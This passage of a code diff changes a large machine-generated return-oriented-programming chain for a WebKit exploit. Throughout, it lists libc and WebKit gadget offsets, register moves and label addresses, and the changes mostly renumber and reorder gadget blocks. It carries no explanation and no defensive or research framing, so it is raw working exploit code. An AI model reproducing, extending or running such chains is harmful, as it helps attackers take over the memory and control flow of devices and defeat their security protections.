rcx +//L1657: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -10757,7 +10757,7 @@ ropchain+128576, //L1658 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+128592, //L1659 +ropchain+128592, //L1660 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -10765,7 +10765,7 @@ libc_base+206806 //pop rdi //L1658: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1659: +//L1660: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -10805,12 +10805,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+128864, //L1666 +ropchain+128864, //L1667 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1666: +//L1667: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -10819,18 +10819,18 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+128944, //L1670 +ropchain+128944, //L1669 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1670: +//L1669: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L1668: -db([8, 0]); // 0x8 set_gadget(libc_base+788575,); //pop rax -//L1669: +//L1668: db([38, 0]); // 0x26 +set_gadget(libc_base+792472,); //pop rcx +//L1670: +db([8, 0]); // 0x8 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi @@ -10865,12 +10865,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+129208, //L1675 +ropchain+129208, //L1676 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L1675: +//L1676: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -10973,24 +10973,24 @@ set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+129896, //L1691 +ropchain+129864, //L1689 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+129848, //L1692 +ropchain+129848, //L1691 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1692: +//L1691: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi +set_gadget(webkit_base+432898,); //pop r8 //L1689: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1690: db([0, 0]); // 0x0 -set_gadget(webkit_base+432898,); //pop r8 -//L1691: +set_gadget(libc_base+206806,); //pop rdi +//L1692: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi @@ -11014,16 +11014,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+130072, //L1695 +ropchain+130088, //L1697 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1695: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1696: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1697: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -11031,7 +11031,7 @@ ropchain+130176, //L1698 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+130192, //L1699 +ropchain+130192, //L1700 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -11039,28 +11039,28 @@ libc_base+206806 //pop rdi //L1698: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1699: +//L1700: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+130328, //L1703 +ropchain+130296, //L1701 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+130344, //L1704 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+130296, //L1701 +ropchain+130328, //L1703 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L1701: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi //L1702: db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L1703: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -11073,7 +11073,7 @@ ropchain+130432, //L1705 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+130448, //L1706 +ropchain+130448, //L1707 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -11081,7 +11081,7 @@ libc_base+206806 //pop rdi //L1705: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1706: +//L1707: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -11091,23 +11091,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+130632, //L1711 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+130616, //L1709 +ropchain+130584, //L1709 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+130584, //L1710 +ropchain+130616, //L1710 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1710: +//L1709: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1708: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1709: +//L1710: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1711: @@ -11119,15 +11119,15 @@ ropchain+130744, //L1714 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+130712, //L1712 +ropchain+130728, //L1713 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+793877 //pop rsi ]); //L1712: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L1713: db([4294967295, 4294967295]); // -0x1 +set_gadget(libc_base+206806,); //pop rdi +//L1713: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1714: db([0, 0]); // 0x0 @@ -11140,16 +11140,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+130832, //L1715 +ropchain+130848, //L1717 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1715: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1716: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1717: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -11157,7 +11157,7 @@ ropchain+130936, //L1718 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+130952, //L1719 +ropchain+130952, //L1720 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -11165,38 +11165,38 @@ libc_base+206806 //pop rdi //L1718: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1719: +//L1720: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+131056, //L1722 +ropchain+131040, //L1722 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+131040, //L1721 +ropchain+131056, //L1723 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L1721: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx //L1722: db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L1723: +db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+131112, //L1724 +ropchain+131128, //L1726 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1724: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1725: db([12, 0]); // 0xc +set_gadget(libc_base+792472,); //pop rcx +//L1726: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -11207,21 +11207,21 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+131288, //L1727 +ropchain+131288, //L1728 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+131304, //L1729 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+131272, //L1728 +ropchain+131272, //L1727 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1728: +//L1727: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1727: +//L1728: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1729: @@ -11259,21 +11259,21 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+8824269, //setle al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+131608, //L1733 +ropchain+131608, //L1734 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+131624, //L1735 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+131592, //L1734 +ropchain+131592, //L1733 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1734: +//L1733: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1733: +//L1734: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1735: @@ -11281,24 +11281,24 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+131728, //L1739 +ropchain+131728, //L1737 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+131792, //L1741 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+131744, //L1737 +ropchain+131744, //L1738 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1739: +//L1737: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1737: +//L1738: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L1738: +//L1739: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx //L1740: @@ -11327,16 +11327,16 @@ set_gadgets([ ropchain+131928, //L1742+24 ropchain+136048, //L1736 libc_base+793877, //pop rsi -ropchain+131968, //L1743 +ropchain+131984, //L1745 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1743: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1744: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1745: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -11344,7 +11344,7 @@ ropchain+132072, //L1746 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+132088, //L1747 +ropchain+132088, //L1748 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -11352,28 +11352,28 @@ libc_base+206806 //pop rdi //L1746: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1747: +//L1748: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+132224, //L1751 +ropchain+132192, //L1749 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+132240, //L1752 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+132192, //L1749 +ropchain+132224, //L1751 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L1749: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi //L1750: db([36, 0]); // 0x24 -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L1751: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -11386,7 +11386,7 @@ ropchain+132328, //L1753 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+132344, //L1754 +ropchain+132344, //L1755 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -11394,7 +11394,7 @@ libc_base+206806 //pop rdi //L1753: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1754: +//L1755: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -11404,23 +11404,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+132528, //L1759 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+132512, //L1757 +ropchain+132480, //L1757 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+132480, //L1758 +ropchain+132512, //L1758 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1758: +//L1757: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1756: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1757: +//L1758: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1759: @@ -11462,16 +11462,16 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+132792, //L1764 +ropchain+132808, //L1766 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1764: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1765: db([24, 0]); // 0x18 +set_gadget(libc_base+792472,); //pop rcx +//L1766: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -11479,7 +11479,7 @@ ropchain+132896, //L1767 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+132912, //L1768 +ropchain+132912, //L1769 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -11487,28 +11487,28 @@ libc_base+206806 //pop rdi //L1767: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1768: +//L1769: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+133048, //L1772 +ropchain+133016, //L1770 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+133064, //L1773 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+133016, //L1770 +ropchain+133048, //L1772 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); //L1770: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi //L1771: db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx +set_gadget(libc_base+206806,); //pop rdi //L1772: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax @@ -11521,7 +11521,7 @@ ropchain+133152, //L1774 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+133168, //L1775 +ropchain+133168, //L1776 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -11529,7 +11529,7 @@ libc_base+206806 //pop rdi //L1774: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1775: +//L1776: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -11539,23 +11539,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+133352, //L1780 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+133336, //L1778 +ropchain+133304, //L1778 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+133304, //L1779 +ropchain+133336, //L1779 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1779: +//L1778: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1777: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1778: +//L1779: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1780: @@ -11608,21 +11608,21 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+8824269, //setle al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+133744, //L1786 +ropchain+133744, //L1787 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+133760, //L1788 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+133728, //L1787 +ropchain+133728, //L1786 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1787: +//L1786: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1786: +//L1787: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1788: @@ -11630,24 +11630,24 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+133864, //L1792 +ropchain+133864, //L1790 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+133928, //L1794 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+133880, //L1790 +ropchain+133880, //L1791 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1792: +//L1790: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1790: +//L1791: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L1791: +//L1792: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx //L1793: @@ -11675,16 +11675,16 @@ set_gadgets([ ropchain+134056, //L1795+24 ropchain+135688, //L1789 libc_base+793877, //pop rsi -ropchain+134096, //L1796 +ropchain+134112, //L1798 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1796: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1797: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1798: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -11692,7 +11692,7 @@ ropchain+134200, //L1799 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+134216, //L1800 +ropchain+134216, //L1801 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -11700,7 +11700,7 @@ libc_base+206806 //pop rdi //L1799: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1800: +//L1801: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -11710,23 +11710,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+134400, //L1805 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+134384, //L1803 +ropchain+134352, //L1803 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+134352, //L1804 +ropchain+134384, //L1804 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1804: +//L1803: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1802: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1803: +//L1804: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1805: @@ -11775,12 +11775,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+134704, //L1812 +ropchain+134704, //L1813 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L1812: +//L1813: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl @@ -11842,17 +11842,17 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+135104, //L1823 +ropchain+135104, //L1822 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1823: +//L1822: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi +set_gadget(libc_base+788575,); //pop rax //L1821: db([10, 0]); // 0xa -set_gadget(libc_base+788575,); //pop rax -//L1822: +set_gadget(libc_base+206806,); //pop rdi +//L1823: db([10, 0]); // 0xa set_gadgets([ webkit_base+6227286, //movsxd rax, edi @@ -11887,21 +11887,21 @@ webkit_base+14959219, //cmp rax, rcx ; sete al libc_base+389047, //setne al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+135440, //L1827 +ropchain+135440, //L1828 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+135456, //L1829 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+135424, //L1828 +ropchain+135424, //L1827 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1828: +//L1827: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1827: +//L1828: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1829: @@ -11947,21 +11947,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+135800, //L1836 +ropchain+135800, //L1837 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+135816, //L1838 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+135784, //L1837 +ropchain+135784, //L1836 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1837: +//L1836: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1836: +//L1837: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1838: @@ -12007,21 +12007,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+136160, //L1845 +ropchain+136160, //L1846 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+136176, //L1847 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+136144, //L1846 +ropchain+136144, //L1845 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1846: +//L1845: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L1845: +//L1846: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1847: @@ -12029,24 +12029,24 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+136280, //L1851 +ropchain+136280, //L1850 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+136328, //L1852 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+136296, //L1849 +ropchain+136312, //L1851 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1851: +//L1850: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi +set_gadget(libc_base+793877,); //pop rsi //L1849: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L1850: +set_gadget(libc_base+206806,); //pop rdi +//L1851: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1852: @@ -12071,16 +12071,16 @@ set_gadgets([ ropchain+136456, //L1853+24 ropchain+138752, //L1848 libc_base+793877, //pop rsi -ropchain+136496, //L1854 +ropchain+136512, //L1856 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L1854: -db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi //L1855: db([16, 0]); // 0x10 +set_gadget(libc_base+792472,); //pop rcx +//L1856: +db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi @@ -12088,7 +12088,7 @@ ropchain+136600, //L1857 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+136616, //L1858 +ropchain+136616, //L1859 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi @@ -12096,7 +12096,7 @@ libc_base+206806 //pop rdi //L1857: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1858: +//L1859: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] @@ -12106,23 +12106,23 @@ webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi ropchain+136800, //L1863 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+136784, //L1861 +ropchain+136752, //L1861 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+136752, //L1862 +ropchain+136784, //L1862 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1862: +//L1861: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L1860: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1861: +//L1862: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1863: @@ -12147,24 +12147,24 @@ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi ropchain+137048, //L1869 webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+137016, //L1866 +ropchain+137000, //L1867 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+137000, //L1868 +ropchain+137032, //L1868 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L1868: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L1866: +//L1867: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L1867: +//L1866: db([56, 0]); // 0x38 +set_gadget(libc_base+206806,); //pop rdi +//L1868: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L1869: db([0, 0]); // 